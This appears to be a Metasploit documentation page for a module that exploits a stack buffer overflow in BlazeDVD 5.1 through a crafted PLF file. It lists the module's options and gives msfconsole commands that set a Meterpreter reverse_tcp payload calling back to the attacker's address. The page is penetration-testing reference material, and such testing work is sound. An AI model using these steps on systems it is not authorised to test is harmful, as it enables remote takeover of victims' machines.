Metasploit Penetration Testing Framework

BlazeDVD 5.1 PLF Buffer Overflow

This module exploits a stack over flow in BlazeDVD 5.1. When the application is used to open a specially crafted plf file, a buffer is overwritten allowing for the execution of arbitrary code.

Rank

Good

Authors

MC < mc [at] metasploit.com >

References

Exploit Targets

0 - BlazeDVD 5.1 (default)

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/blazedvd_plf
msf exploit(blazedvd_plf) > show payloads
msf exploit(blazedvd_plf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(blazedvd_plf) > set LHOST [MY IP ADDRESS]
msf exploit(blazedvd_plf) > exploit

Module Options

FILENAME	The file name. (default: msf.plf)
OUTPUTPATH	The location of the file. (default: /usr/lib/msf3/data/exploits)
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session

OSVDB:	CVE:
BID:	MSB:
TEXT: